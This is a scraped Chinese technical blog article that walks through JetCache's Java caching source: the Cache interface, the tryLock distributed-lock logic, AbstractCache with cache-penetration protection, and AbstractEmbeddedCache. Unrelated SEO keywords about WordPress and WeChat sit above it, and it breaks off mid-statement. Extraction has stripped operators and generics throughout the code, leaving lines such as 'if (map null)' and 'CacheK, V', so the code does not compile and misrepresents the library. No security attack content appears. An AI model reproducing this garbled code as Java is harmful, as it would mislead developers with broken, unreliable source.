做wordpress 主题下载站php微信公众号开发

bicheng/2026/1/25 12:28:17/文章来源:
做wordpress 主题下载站,php微信公众号开发,网站左侧树形导航怎么做,什么叫网站维护在JetCache中不仅可以通过在类和接口的函数上使用注解Cached、CacheUpdate和CacheInvalidate等实现缓存加载、更新和删除操作#xff0c;也支持通过调用API接口的形式来实现缓存的加载、更新和删除操作。 缓存接口 缓存接口的定义如下#xff1a; /*** 缓存接口#xff0…在JetCache中不仅可以通过在类和接口的函数上使用注解Cached、CacheUpdate和CacheInvalidate等实现缓存加载、更新和删除操作也支持通过调用API接口的形式来实现缓存的加载、更新和删除操作。 缓存接口 缓存接口的定义如下 /*** 缓存接口支持空值。*/ public interface CacheK, V extends Closeable {/*** 从缓存中获取一个条目。* p如果缓存的构造器指定了一个{link CacheLoader}并且缓存中没有关联* 它会尝试加载该条目。/p* p如果在缓存访问过程中发生错误方法会返回null而不是抛出异常。/p* param key 要返回其关联值的键* return 与指定键关联的值。null可能表示ul* li条目不存在或已过期/li* li条目的值为null/li* li在缓存访问过程中发生错误不抛出异常/li* /ul* throws CacheInvokeException 仅当加载器抛出异常时* see CacheLoader* see #GET(Object)*/default V get(K key) throws CacheInvokeException {CacheGetResultV result GET(key);if (result.isSuccess()) {return result.getValue();} else {return null;}}/*** 从缓存中获取一组条目将它们作为与请求的键集相关联的值的Map返回。* p如果缓存的构造器指定了一个{link CacheLoader}并且缓存中没有关联* 它会尝试加载条目。/p* p如果在缓存访问过程中发生错误方法不会抛出异常。/p* param keys 要返回其关联值的键集合。* return 为给定键找到的条目的映射。在缓存中未找到的键不包含在返回的映射中。* throws CacheInvokeException 仅当加载器抛出异常时* see CacheLoader* see #GET_ALL(Set)*/default MapK, V getAll(Set? extends K keys) throws CacheInvokeException {MultiGetResultK, V cacheGetResults GET_ALL(keys);return cacheGetResults.unwrapValues();}/*** 将指定的值与指定的键在缓存中关联起来。* p如果在缓存访问过程中发生错误方法不会抛出异常。/p* p如果实现支持异步操作此方法的缓存操作为异步。/p* param key 与指定值关联的键* param value 要与指定键关联的值* see #PUT(Object, Object)*/default void put(K key, V value) {PUT(key, value);}/*** 将指定映射中的所有条目复制到缓存中。* p如果在缓存访问过程中发生错误方法不会抛出异常。/p* p如果实现支持异步操作此方法的缓存操作为异步。/p* param map 要存储在此缓存中的映射。* see #PUT_ALL(Map)*/default void putAll(Map? extends K, ? extends V map) {PUT_ALL(map);}/*** 将指定映射中的所有条目复制到缓存中。* p如果在访问缓存时发生错误该方法不会抛出异常。/p* param map 要存储在缓存中的映射。* param expireAfterWrite KV关联的TTL生存时间* param timeUnit expireAfterWrite的时间单位* see #PUT_ALL(Map, long, TimeUnit)*/default void putAll(Map? extends K, ? extends V map, long expireAfterWrite, TimeUnit timeUnit) {PUT_ALL(map, expireAfterWrite, timeUnit);}/*** 原子地将指定的键与给定的值关联如果它还没有与一个值关联的话。* p如果在缓存访问过程中发生错误方法不会抛出异常。/p* p{link MultiLevelCache} 不支持此方法。/p* param key 要与指定的值关联的键* param value 要与指定的键关联的值* return 如果设置了值则为true如果KV关联在缓存中不存在或在缓存访问过程中发生错误则为false。* see #PUT_IF_ABSENT(Object, Object, long, TimeUnit)*/default boolean putIfAbsent(K key, V value) {CacheResult result PUT_IF_ABSENT(key, value, config().getExpireAfterWriteInMillis(), TimeUnit.MILLISECONDS);return result.getResultCode() CacheResultCode.SUCCESS;}/*** 如果存在则从缓存中移除指定键的映射。* p如果在缓存访问过程中发生错误方法不会抛出异常。/p* param key 要从缓存中移除映射的键* return 如果键成功移除则为true如果KV关联在缓存中不存在或在缓存访问过程中发生错误则为false。* see #REMOVE(Object)*/default boolean remove(K key) {return REMOVE(key).isSuccess();}/*** 移除指定键的条目。* p如果在缓存访问过程中发生错误方法不会抛出异常。/p* p如果实现支持异步操作此方法的缓存操作是异步的。/p* param keys 要移除的键* see #REMOVE_ALL(Set)*/default void removeAll(Set? extends K keys) {REMOVE_ALL(keys);}/*** 如果与给定键关联的有值则返回该值否则使用加载器加载值并返回然后更新缓存。* param key 键* param loader 值加载器* return 与键关联的值* see CacheConfig#isCacheNullValue()*/default V computeIfAbsent(K key, FunctionK, V loader) {return computeIfAbsent(key, loader, config().isCacheNullValue());}/*** 如果与给定键关联的有值则返回该值否则使用加载器加载值并返回然后根据参数决定是否更新缓存。* param key 键* param loader 值加载器* param cacheNullWhenLoaderReturnNull 当加载器返回null时是否将null值放入缓存* return 与键关联的值*/V computeIfAbsent(K key, FunctionK, V loader, boolean cacheNullWhenLoaderReturnNull);/*** 如果与给定键关联的有值则返回该值否则使用加载器加载值并返回然后根据参数决定是否更新缓存并设置过期时间。* param key 键* param loader 值加载器* param cacheNullWhenLoaderReturnNull 当加载器返回null时是否将null值放入缓存* param expireAfterWrite 缓存项的TTL生存时间* param timeUnit expireAfterWrite的时间单位* return 与键关联的值*/V computeIfAbsent(K key, FunctionK, V loader, boolean cacheNullWhenLoaderReturnNull, long expireAfterWrite, TimeUnit timeUnit);}上面的方法是对缓存的增删改查操作代码逻辑相对比较简单默认是直接调用Cache接口中的GET、GET_ALL、PUT、PUT_ALL、REMOVE、REMOVE_ALL等方法来实现的。其中computeIfAbsent方法是用于解决缓存穿透的问题即当缓存中没有对应的数据时需要调用指定的loader获取相应的数据并写入到缓存中跟Map中computeIfAbsent方法基本上原理是相似的即如果缓存中key不存在会调用loader获取缓存的值并写入到缓存中。 在上面的接口定义中我们注意到JetCache缺少批量加载缓存的功能无论是JetCache的注解亦或是API接口都不支持我们后续会专门增加一个章节用于介绍如何实现缓存的批量加载的功能。当然JetCache也不支持根据缓存的键或值自定义缓存有效期的能力我们在后面都会介绍如何进行扩展。 只需要实现GET、GET_ALL、PUT、PUT_ALL、REMOVE、REMOVE_ALL等方法就能够实现缓存的增删改查操作。对应的源码如下 /*** 将指定映射中的所有条目复制到缓存中。* p如果实现支持异步操作调用此方法后缓存访问可能并未完成。* 可以通过调用结果的getResultCode()/isSuccess()/getMessage()方法进行阻塞等待直到缓存操作完成。* 调用结果的future()方法将获取用于异步编程的CompletionStage实例。/p* param map 要存储在缓存中的映射。* return 操作结果*/ default CacheResult PUT_ALL(Map? extends K, ? extends V map) {if (map null) {return CacheResult.FAIL_ILLEGAL_ARGUMENT;}return PUT_ALL(map, config().getExpireAfterWriteInMillis(), TimeUnit.MILLISECONDS); }/*** 将指定映射中的所有条目复制到缓存中。* p如果实现支持异步操作调用此方法后缓存访问可能并未完成。* 可以通过调用结果的getResultCode()/isSuccess()/getMessage()方法进行阻塞等待直到缓存操作完成。* 调用结果的future()方法将获取用于异步编程的CompletionStage实例。/p* param map 要存储在缓存中的映射。* param expireAfterWrite KV关联的TTL生存时间* param timeUnit expireAfterWrite的时间单位* return 操作结果*/ CacheResult PUT_ALL(Map? extends K, ? extends V map, long expireAfterWrite, TimeUnit timeUnit);/*** 如果缓存中存在指定键的映射则从缓存中移除该映射。* p如果实现支持异步操作调用此方法后缓存访问可能并未完成。* 可以通过调用结果的getResultCode()/isSuccess()/getMessage()方法进行阻塞等待直到缓存操作完成。* 调用结果的future()方法将获取用于异步编程的CompletionStage实例。/p* param key 要从缓存中移除映射的键* return 操作结果*/ CacheResult REMOVE(K key);/*** 移除指定键的映射。* p如果实现支持异步操作调用此方法后缓存访问可能并未完成。* 可以通过调用结果的getResultCode()/isSuccess()/getMessage()方法进行阻塞等待直到缓存操作完成。* 调用结果的future()方法将获取用于异步编程的CompletionStage实例。/p* param keys 要移除的键集合* return 操作结果*/ CacheResult REMOVE_ALL(Set? extends K keys);/*** 如果指定键尚未与值关联则将其与给定值关联。* p如果实现支持异步操作调用此方法后缓存访问可能并未完成。* 可以通过调用结果的getResultCode()/isSuccess()/getMessage()方法进行阻塞等待直到缓存操作完成。* 调用结果的future()方法将获取用于异步编程的CompletionStage实例。/p* param key 与指定值关联的键* param value 要与指定键关联的值* param expireAfterWrite KV关联的TTL生存时间* param timeUnit expireAfterWrite的时间单位* return 如果指定键尚未与值关联则返回SUCCESS如果指定键已与值关联则返回EXISTS如果发生错误则返回FAIL。*/ CacheResult PUT_IF_ABSENT(K key, V value, long expireAfterWrite, TimeUnit timeUnit);我们知道缓存分为进程内缓存和远程缓存进程内的缓存如LinkedHashMap和caffeine远程缓存如通过lettuce、redisson和spring-data-redis操作的redis还有就是现在使用越来越少的MemeryCache。这些只需要实现上面的现GET、GET_ALL、PUT、PUT_ALL、REMOVE、REMOVE_ALL等方法就可以了。 但是细节上不会那么简单我会在下面继续进行介绍但是介绍之前还是需要介绍一下锁因为实现使用缓存的场景肯定会涉及多线程这样就需要使用锁来避免不同线程同时去对相同的键进行缓存的增删改操作了。在Cache接口中默认实现了锁的方法源码如下 /*** 尝试使用缓存获取指定键的独占锁此方法不会阻塞。* 用法示例* pre* try(AutoReleaseLock lock cache.tryLock(MyKey,100, TimeUnit.SECONDS)){* if(lock ! null){* // 执行某些操作* }* }* /pre* p{link MultiLevelCache} 将使用最后一级缓存来支持此操作。/p* param key 锁键* param expire 锁的过期时间* param timeUnit 锁的过期时间单位* return 如果成功获取锁则返回一个 AutoReleaseLock 实例实现了 java.lang.AutoCloseable 接口。* 如果尝试失败表示另一个线程/进程/服务器已持有锁或在访问缓存时发生错误则返回 null。* see #tryLockAndRun(Object, long, TimeUnit, Runnable)*/SuppressWarnings(unchecked)default AutoReleaseLock tryLock(K key, long expire, TimeUnit timeUnit) {if (key null) {return null;}// 生成唯一的UUID作为锁标识final String uuid UUID.randomUUID().toString();// 计算锁的过期时间戳final long expireTimestamp System.currentTimeMillis() timeUnit.toMillis(expire);// 获取缓存配置final CacheConfig config config();// 定义一个AutoReleaseLock它包含解锁逻辑AutoReleaseLock lock () - {int unlockCount 0;// 尝试解锁次数while (unlockCount config.getTryLockUnlockCount()) {// 如果锁未过期则尝试解锁if(System.currentTimeMillis() expireTimestamp) {CacheResult unlockResult REMOVE(key);// 解锁结果处理if (unlockResult.getResultCode() CacheResultCode.FAIL|| unlockResult.getResultCode() CacheResultCode.PART_SUCCESS) {logger.info([tryLock] [{} of {}] [{}] unlock failed. Key{}, msg {},unlockCount, config.getTryLockUnlockCount(), uuid, key, unlockResult.getMessage());// 重试解锁} else if (unlockResult.isSuccess()) {logger.debug([tryLock] [{} of {}] [{}] successfully release the lock. Key{},unlockCount, config.getTryLockUnlockCount(), uuid, key);return;} else {logger.warn([tryLock] [{} of {}] [{}] unexpected unlock result: Key{}, result{},unlockCount, config.getTryLockUnlockCount(), uuid, key, unlockResult.getResultCode());return;}} else {// 锁已过期logger.info([tryLock] [{} of {}] [{}] lock already expired: Key{},unlockCount, config.getTryLockUnlockCount(), uuid, key);return;}}};int lockCount 0;Cache cache this;// 尝试加锁次数while (lockCount config.getTryLockLockCount()) {// 尝试添加锁CacheResult lockResult cache.PUT_IF_ABSENT(key, uuid, expire, timeUnit);// 加锁结果处理if (lockResult.isSuccess()) {logger.debug([tryLock] [{} of {}] [{}] successfully get a lock. Key{},lockCount, config.getTryLockLockCount(), uuid, key);return lock;} else if (lockResult.getResultCode() CacheResultCode.FAIL || lockResult.getResultCode() CacheResultCode.PART_SUCCESS) {// 缓存访问失败时的处理逻辑logger.info([tryLock] [{} of {}] [{}] cache access failed during get lock, will inquiry {} times. Key{}, msg{},lockCount, config.getTryLockLockCount(), uuid,config.getTryLockInquiryCount(), key, lockResult.getMessage());int inquiryCount 0;// 尝试查询次数while (inquiryCount config.getTryLockInquiryCount()) {// 尝试查询锁状态CacheGetResult inquiryResult cache.GET(key);// 查询结果处理if (inquiryResult.isSuccess()) {if (uuid.equals(inquiryResult.getValue())) {// 成功获得锁logger.debug([tryLock] [{} of {}] [{}] successfully get a lock after inquiry. Key{},inquiryCount, config.getTryLockInquiryCount(), uuid, key);return lock;} else {// 不是锁的所有者logger.debug([tryLock] [{} of {}] [{}] not the owner of the lock, return null. Key{},inquiryCount, config.getTryLockInquiryCount(), uuid, key);return null;}} else {logger.info([tryLock] [{} of {}] [{}] inquiry failed. Key{}, msg{},inquiryCount, config.getTryLockInquiryCount(), uuid, key, inquiryResult.getMessage());// 重试查询}}} else {// 其他持有锁logger.debug([tryLock] [{} of {}] [{}] others holds the lock, return null. Key{},lockCount, config.getTryLockLockCount(), uuid, key);return null;}}// 所有尝试均未成功获得锁logger.debug([tryLock] [{}] return null after {} attempts. Key{}, uuid, config.getTryLockLockCount(), key);return null;}/*** 尝试以独占方式执行一个操作。* p{link MultiLevelCache} 将使用最后一级缓存来支持此操作。/p* 用法示例* pre* cache.tryLock(MyKey,100, TimeUnit.SECONDS),() -gt; {* // 执行某些操作* });* /pre* param key 锁键* param expire 锁的过期时间* param timeUnit 锁的过期时间单位* param action 需要执行的操作* return 如果成功获取锁并执行了操作则返回 true否则返回 false。*/default boolean tryLockAndRun(K key, long expire, TimeUnit timeUnit, Runnable action){try (AutoReleaseLock lock tryLock(key, expire, timeUnit)) {if (lock ! null) {action.run();return true;} else {return false;}}} tryLock方法是尝试获取缓存键的锁其中key对应的是缓存的键这样可以保证即使在多线程条件下同一个键在同一时间内只会获取到一个锁。 定义释放锁的方法先判断尝试解锁次数小于配置的最大解锁次数如果超过就不在尝试解锁。然后判断锁是否到期如果锁已到期就直接返回。最后调用REMOVE方法删除锁信息如果删除不成功就会进行重试否则直接返回。首先调用PUT_IF_ABSENT试图在缓存中添加锁标识唯一的GUID以及锁的到期时间该方法仅在键不存在时才会添加成功否则会添加失败。PUT_IF_ABSENT添加锁不成功有两种可能即已经存在该键或者是缓存中没有该键但是因为特殊原因如网络原因导致写入Redis失败导致写入键值失败。如果缓存中存在该键则获取锁失败返回null。否则会继续尝试获取锁信息。 tryLockAndRun方法实现了获取锁执行指定的操作并释放锁如果获取锁失败就直接返回false。 AbstractCache 在JetCache中AbstractCache是一个抽象类继承自Cache实现了GET、GET_ALL、PUT、PUT_ALL、REMOVE、REMOVE_ALL等方法源码如下 /*** 抽象缓存类提供了缓存的基本实现支持键值对的存取操作。该类是线程安全的。** param K 键的类型* param V 值的类型*/ public abstract class AbstractCacheK, V implements CacheK, V {/*** 通知缓存事件监听器。** param e 缓存事件。*/public void notify(CacheEvent e) {ListCacheMonitor monitors config().getMonitors();for (CacheMonitor m : monitors) {m.afterOperation(e);}}/*** 获取缓存中指定键的值。** param key 键。* return CacheGetResultV 获取结果包含值和操作状态。*/Overridepublic final CacheGetResultV GET(K key) {long t System.currentTimeMillis();CacheGetResultV result;// 对于null键直接返回错误结果。if (key null) {result new CacheGetResultV(CacheResultCode.FAIL, CacheResult.MSG_ILLEGAL_ARGUMENT, null);} else {result do_GET(key);}// 异步触发获取事件的通知。result.future().thenRun(() - {CacheGetEvent event new CacheGetEvent(this, System.currentTimeMillis() - t, key, result);notify(event);});return result;}/*** 实际获取缓存值的逻辑。** param key 键。* return CacheGetResultV 获取结果包含值和操作状态。*/protected abstract CacheGetResultV do_GET(K key);/*** 批量获取缓存中多个键对应的值。** param keys 键的集合。* return MultiGetResultK, V 批量获取结果包含值的映射和操作状态。*/Overridepublic final MultiGetResultK, V GET_ALL(Set? extends K keys) {long t System.currentTimeMillis();MultiGetResultK, V result;// 对于null键集合直接返回错误结果。if (keys null) {result new MultiGetResult(CacheResultCode.FAIL, CacheResult.MSG_ILLEGAL_ARGUMENT, null);} else {result do_GET_ALL(keys);}// 异步触发批量获取事件的通知。result.future().thenRun(() - {CacheGetAllEvent event new CacheGetAllEvent(this, System.currentTimeMillis() - t, keys, result);notify(event);});return result;}/*** 实际批量获取缓存值的逻辑。** param keys 键的集合。* return MultiGetResultK, V 批量获取结果包含值的映射和操作状态。*/protected abstract MultiGetResultK, V do_GET_ALL(Set? extends K keys);/*** 将键值对存储到缓存中。* param key 键不能为null。* param value 值。* param expireAfterWrite 缓存项的过期时间。* param timeUnit 过期时间的单位。* return 操作结果包含操作是否成功等信息。*/ Override public final CacheResult PUT(K key, V value, long expireAfterWrite, TimeUnit timeUnit) {long t System.currentTimeMillis();CacheResult result;if (key null) {result CacheResult.FAIL_ILLEGAL_ARGUMENT;} else {result do_PUT(key, value, expireAfterWrite, timeUnit);}// 在异步操作完成后触发事件通知result.future().thenRun(() - {CachePutEvent event new CachePutEvent(this, System.currentTimeMillis() - t, key, value, result);notify(event);});return result; }/*** 实际执行PUT操作的抽象方法。* param key 键。* param value 值。* param expireAfterWrite 缓存项的过期时间。* param timeUnit 过期时间的单位。* return 操作结果包含操作是否成功等信息。*/ protected abstract CacheResult do_PUT(K key, V value, long expireAfterWrite, TimeUnit timeUnit);/*** 批量将键值对存储到缓存中。* param map 要存储的键值对集合。* param expireAfterWrite 缓存项的过期时间。* param timeUnit 过期时间的单位。* return 操作结果包含操作是否成功等信息。*/ Override public final CacheResult PUT_ALL(Map? extends K, ? extends V map, long expireAfterWrite, TimeUnit timeUnit) {long t System.currentTimeMillis();CacheResult result;if (map null) {result CacheResult.FAIL_ILLEGAL_ARGUMENT;} else {result do_PUT_ALL(map, expireAfterWrite, timeUnit);}// 在异步操作完成后触发事件通知result.future().thenRun(() - {CachePutAllEvent event new CachePutAllEvent(this, System.currentTimeMillis() - t, map, result);notify(event);});return result; }/*** 实际执行批量PUT操作的抽象方法。* param map 要存储的键值对集合。* param expireAfterWrite 缓存项的过期时间。* param timeUnit 过期时间的单位。* return 操作结果包含操作是否成功等信息。*/ protected abstract CacheResult do_PUT_ALL(Map? extends K, ? extends V map, long expireAfterWrite, TimeUnit timeUnit);/*** 从缓存中移除指定键的项。* param key 要移除的键不能为null。* return 操作结果包含操作是否成功等信息。*/ Override public final CacheResult REMOVE(K key) {long t System.currentTimeMillis();CacheResult result;if (key null) {result CacheResult.FAIL_ILLEGAL_ARGUMENT;} else {result do_REMOVE(key);}// 在异步操作完成后触发事件通知result.future().thenRun(() - {CacheRemoveEvent event new CacheRemoveEvent(this, System.currentTimeMillis() - t, key, result);notify(event);});return result; }/*** 实际执行移除操作的抽象方法。* param key 要移除的键。* return 操作结果包含操作是否成功等信息。*/ protected abstract CacheResult do_REMOVE(K key);/*** 从缓存中移除指定键集合对应的项。* param keys 要移除的键的集合不能为null。* return 操作结果包含操作是否成功等信息。*/ Override public final CacheResult REMOVE_ALL(Set? extends K keys) {long t System.currentTimeMillis();CacheResult result;if (keys null) {result CacheResult.FAIL_ILLEGAL_ARGUMENT;} else {result do_REMOVE_ALL(keys);}// 在异步操作完成后触发事件通知result.future().thenRun(() - {CacheRemoveAllEvent event new CacheRemoveAllEvent(this, System.currentTimeMillis() - t, keys, result);notify(event);});return result; }/*** 实际执行批量移除操作的抽象方法。* param keys 要移除的键的集合。* return 操作结果包含操作是否成功等信息。*/ protected abstract CacheResult do_REMOVE_ALL(Set? extends K keys);/*** 如果指定的键在缓存中不存在则将其添加。* param key 键不能为null。* param value 值。* param expireAfterWrite 缓存项的过期时间。* param timeUnit 过期时间的单位。* return 操作结果包含操作是否成功等信息。*/ Override public final CacheResult PUT_IF_ABSENT(K key, V value, long expireAfterWrite, TimeUnit timeUnit) {long t System.currentTimeMillis();CacheResult result;if (key null) {result CacheResult.FAIL_ILLEGAL_ARGUMENT;} else {result do_PUT_IF_ABSENT(key, value, expireAfterWrite, timeUnit);}// 在异步操作完成后触发事件通知result.future().thenRun(() - {CachePutEvent event new CachePutEvent(this, System.currentTimeMillis() - t, key, value, result);notify(event);});return result; }/*** 实际执行PUT_IF_ABSENT操作的抽象方法。* param key 键。* param value 值。* param expireAfterWrite 缓存项的过期时间。* param timeUnit 过期时间的单位。* return 操作结果包含操作是否成功等信息。*/ protected abstract CacheResult do_PUT_IF_ABSENT(K key, V value, long expireAfterWrite, TimeUnit timeUnit);在AbstractCache类中GET、GET_ALL、PUT、PUT_ALL、REMOVE、REMOVE_ALL等方法主要是先判断键是否有效然后调用do_GET、do_GET_ALL、do_PUT、do_PUT_ALL、do_REMOVE、do_REMOVE_ALL等方法对缓存进行增删改查最后使用观察者模式发布缓存的操作事件。 上面的代码逻辑还是相对比较简单的就不做太多的讲解接下来我们着重介绍AbstractCache类中缓存加载的代码逻辑源码如下 // 使用ConcurrentHashMap来存储加载器锁以支持并发控制。private volatile ConcurrentHashMapObject, LoaderLock loaderMap;// 标记缓存是否已关闭。protected volatile boolean closed;// 用于初始化loaderMap的互斥锁确保线程安全。private static final ReentrantLock reentrantLock new ReentrantLock();/*** 初始化或获取loaderMap。** return ConcurrentHashMapObject, LoaderLock 返回loaderMap实例。*/ConcurrentHashMapObject, LoaderLock initOrGetLoaderMap() {if (loaderMap null) {reentrantLock.lock();try {if (loaderMap null) {loaderMap new ConcurrentHashMap();}}finally {reentrantLock.unlock();}}return loaderMap;}/*** 如果给定的键在缓存中不存在则使用给定的加载器函数来计算值并将结果放入缓存。* * param key 键用于在缓存中查找值。* param loader 加载器函数用于在缓存中找不到键对应的值时计算值。* param cacheNullWhenLoaderReturnNull 当加载器返回null时是否将null缓存起来。* return 缓存中键对应的值或者是通过加载器计算出的值。*/ Override public final V computeIfAbsent(K key, FunctionK, V loader, boolean cacheNullWhenLoaderReturnNull) {return computeIfAbsentImpl(key, loader, cacheNullWhenLoaderReturnNull,0, null, this); }/*** 如果给定的键在缓存中不存在并且希望设置过期时间则使用给定的加载器函数来计算值并将结果放入缓存。* * param key 键用于在缓存中查找值。* param loader 加载器函数用于在缓存中找不到键对应的值时计算值。* param cacheNullWhenLoaderReturnNull 当加载器返回null时是否将null缓存起来。* param expireAfterWrite 缓存条目的写入后过期时间。* param timeUnit 缓存条目的过期时间单位。* return 缓存中键对应的值或者是通过加载器计算出的值。*/ Override public final V computeIfAbsent(K key, FunctionK, V loader, boolean cacheNullWhenLoaderReturnNull,long expireAfterWrite, TimeUnit timeUnit) {return computeIfAbsentImpl(key, loader, cacheNullWhenLoaderReturnNull,expireAfterWrite, timeUnit, this); }/*** 判断是否需要更新缓存。* * param loadedValue 加载器计算出的值。* param cacheNullWhenLoaderReturnNull 当加载器返回null时是否将null缓存起来。* param loader 加载器函数。* return 如果需要更新缓存则返回true否则返回false。*/ private static K, V boolean needUpdate(V loadedValue, boolean cacheNullWhenLoaderReturnNull, FunctionK, V loader) {if (loadedValue null !cacheNullWhenLoaderReturnNull) {return false;}if (loader instanceof CacheLoader ((CacheLoaderK, V) loader).vetoCacheUpdate()) {return false;}return true; }/*** 实际执行computeIfAbsent逻辑的方法。* * param key 键用于在缓存中查找值。* param loader 加载器函数用于在缓存中找不到键对应的值时计算值。* param cacheNullWhenLoaderReturnNull 当加载器返回null时是否将null缓存起来。* param expireAfterWrite 缓存条目的写入后过期时间。* param timeUnit 缓存条目的过期时间单位。* param cache 缓存实例。* return 缓存中键对应的值或者是通过加载器计算出的值。*/ static K, V V computeIfAbsentImpl(K key, FunctionK, V loader, boolean cacheNullWhenLoaderReturnNull,long expireAfterWrite, TimeUnit timeUnit, CacheK, V cache) {AbstractCacheK, V abstractCache CacheUtil.getAbstractCache(cache);CacheLoaderK, V newLoader CacheUtil.createProxyLoader(cache, loader, abstractCache::notify);CacheGetResultV r;if (cache instanceof RefreshCache) {RefreshCacheK, V refreshCache ((RefreshCacheK, V) cache);r refreshCache.GET(key);refreshCache.addOrUpdateRefreshTask(key, newLoader);} else {r cache.GET(key);}if (r.isSuccess()) {return r.getValue();} else {ConsumerV cacheUpdater (loadedValue) - {if(needUpdate(loadedValue, cacheNullWhenLoaderReturnNull, newLoader)) {if (timeUnit ! null) {cache.PUT(key, loadedValue, expireAfterWrite, timeUnit).waitForResult();} else {cache.PUT(key, loadedValue).waitForResult();}}};V loadedValue;if (cache.config().isCachePenetrationProtect()) {loadedValue synchronizedLoad(cache.config(), abstractCache, key, newLoader, cacheUpdater);} else {loadedValue newLoader.apply(key);cacheUpdater.accept(loadedValue);}return loadedValue;} }/*** 使用同步方式从缓存中加载值。* * param config 缓存配置。* param abstractCache 缓存的抽象实现。* param key 键。* param newLoader 加载器函数。* param cacheUpdater 缓存更新的消费者接口。* return 加载的值。*/ static K, V V synchronizedLoad(CacheConfig config, AbstractCacheK,V abstractCache,K key, FunctionK, V newLoader, ConsumerV cacheUpdater) {ConcurrentHashMapObject, LoaderLock loaderMap abstractCache.initOrGetLoaderMap();Object lockKey buildLoaderLockKey(abstractCache, key);while (true) {boolean create[] new boolean[1];LoaderLock ll loaderMap.computeIfAbsent(lockKey, (unusedKey) - {create[0] true;LoaderLock loaderLock new LoaderLock();loaderLock.signal new CountDownLatch(1);loaderLock.loaderThread Thread.currentThread();return loaderLock;});if (create[0] || ll.loaderThread Thread.currentThread()) {try {CacheGetResultV getResult abstractCache.GET(key);if (getResult.isSuccess()) {ll.success true;ll.value getResult.getValue();return getResult.getValue();} else {V loadedValue newLoader.apply(key);ll.success true;ll.value loadedValue;cacheUpdater.accept(loadedValue);return loadedValue;}} finally {if (create[0]) {ll.signal.countDown();loaderMap.remove(lockKey);}}} else {try {Duration timeout config.getPenetrationProtectTimeout();if (timeout null) {ll.signal.await();} else {boolean ok ll.signal.await(timeout.toMillis(), TimeUnit.MILLISECONDS);if(!ok) {logger.info(loader wait timeout: timeout);return newLoader.apply(key);}}} catch (InterruptedException e) {logger.warn(loader wait interrupted);return newLoader.apply(key);}if (ll.success) {return (V) ll.value;} else {continue;}}} }/*** 构建加载锁的键。* * param c 缓存实例。* param key 键。* return 用于加载锁的键。*/ private static Object buildLoaderLockKey(Cache c, Object key) {if (c instanceof AbstractEmbeddedCache) {return ((AbstractEmbeddedCache) c).buildKey(key);} else if (c instanceof AbstractExternalCache) {byte bytes[] ((AbstractExternalCache) c).buildKey(key);return ByteBuffer.wrap(bytes);} else if (c instanceof MultiLevelCache) {c ((MultiLevelCache) c).caches()[0];return buildLoaderLockKey(c, key);} else if(c instanceof ProxyCache) {c ((ProxyCache) c).getTargetCache();return buildLoaderLockKey(c, key);} else {throw new CacheException(impossible);} }这段Java代码定义了一个名为computeIfAbsentImpl的静态方法该方法用于在给定的缓存中根据键获取值如果缓存中不存在该键对应的值则使用提供的加载器函数加载值并将加载的值放入缓存中。方法有多个参数包括键、加载器函数、是否缓存null值、过期时间、时间单位和缓存对象。 该方法首先通过CacheUtil.getAbstractCache(cache)获取缓存的抽象类对象然后通过CacheUtil.createProxyLoader()创建一个代理加载器。接下来根据缓存类型分别调用RefreshCache.GET()或cache.GET()方法获取缓存值。如果获取成功则返回该值否则根据是否需要更新缓存以及是否设置了过期时间调用cache.PUT()方法更新缓存。 如果缓存配置了穿透保护则调用synchronizedLoad()方法进行加锁加载。该方法使用ConcurrentHashMap维护一个加载器映射表通过构建锁键来实现细粒度锁。在加锁过程中如果当前线程是加载器线程则直接进行加载并更新缓存否则等待加载完成或超时后返回加载的值。 总之这段代码实现了根据键加载或获取缓存值的功能并提供了缓存穿透保护的机制。 内存缓存 进程内的缓存框架支持LinkedHashMap和caffeine在实际开发过程中一般推荐使用caffeine好处网上一大堆这里不做赘述。 AbstractEmbeddedCache 抽象类AbstractEmbeddedCache继承自AbstractCache作为内存缓存的父类其实现了常见内存缓存类的共通实现由于是在内存缓存不需要对缓存的数据进行序列化处理相对处理速度自然相对会更快序列化缓存键的操作已经在AbstractCache中实现AbstractEmbeddedCache中就不会重复造轮子了。AbstractEmbeddedCache源码如下 /*** 抽象嵌入式缓存类扩展自AbstractCache提供缓存的内部映射和配置管理。* 需要由具体缓存实现类继承并实现createAreaCache方法。** param K 键的类型* param V 值的类型*/ public abstract class AbstractEmbeddedCacheK, V extends AbstractCacheK, V {protected EmbeddedCacheConfigK, V config; // 缓存配置protected InnerMap innerMap; // 内部映射用于缓存数据/*** 创建区域缓存由子类具体实现。* * return InnerMap 实例表示特定缓存区域。*/protected abstract InnerMap createAreaCache();private final ReentrantLock lock new ReentrantLock(); // 用于并发控制的锁/*** 构造函数初始化嵌入式缓存。** param config 缓存配置包含缓存的各种设置项。*/public AbstractEmbeddedCache(EmbeddedCacheConfigK, V config) {this.config config;innerMap createAreaCache();}/*** 获取缓存配置。* * return CacheConfig 缓存配置。*/Overridepublic CacheConfigK, V config() {return config;}/*** 基于提供的键构建缓存键如果配置了键转换器则会应用转换。** param key 原始键。* return 转换后的键用于缓存存储。*/public Object buildKey(K key) {Object newKey key;FunctionK, Object keyConvertor config.getKeyConvertor();if (keyConvertor ! null) {newKey keyConvertor.apply(key);}return newKey;}/*** 从缓存中获取指定键的值。* * param key 键。* return CacheGetResult 包含获取结果的对象可能为不存在、已过期或其他状态。*/Overrideprotected CacheGetResultV do_GET(K key) {Object newKey buildKey(key);CacheValueHolderV holder (CacheValueHolderV) innerMap.getValue(newKey);return parseHolderResult(holder);}/*** 解析缓存值持有者结果确定缓存状态存在、过期等。** param holder 缓存值持有者。* return CacheGetResult 包含获取结果的对象。*/protected CacheGetResultV parseHolderResult(CacheValueHolderV holder) {long now System.currentTimeMillis();if (holder null) {return CacheGetResult.NOT_EXISTS_WITHOUT_MSG;} else if (now holder.getExpireTime()) {return CacheGetResult.EXPIRED_WITHOUT_MSG;} else {lock.lock();try{long accessTime holder.getAccessTime();if (config.isExpireAfterAccess()) {long expireAfterAccess config.getExpireAfterAccessInMillis();if (now accessTime expireAfterAccess) {return CacheGetResult.EXPIRED_WITHOUT_MSG;}}holder.setAccessTime(now);}finally {lock.unlock();}return new CacheGetResult(CacheResultCode.SUCCESS, null, holder);}}/*** 批量获取缓存值。* * param keys 键的集合。* return MultiGetResult 包含批量获取结果的对象。*/Overrideprotected MultiGetResultK, V do_GET_ALL(Set? extends K keys) {// 将原始键转换为缓存键并批量获取值ArrayListK keyList new ArrayListK(keys.size());ArrayListObject newKeyList new ArrayListObject(keys.size());keys.stream().forEach((k) - {Object newKey buildKey(k);keyList.add(k);newKeyList.add(newKey);});MapObject, CacheValueHolderV innerResultMap innerMap.getAllValues(newKeyList);MapK, 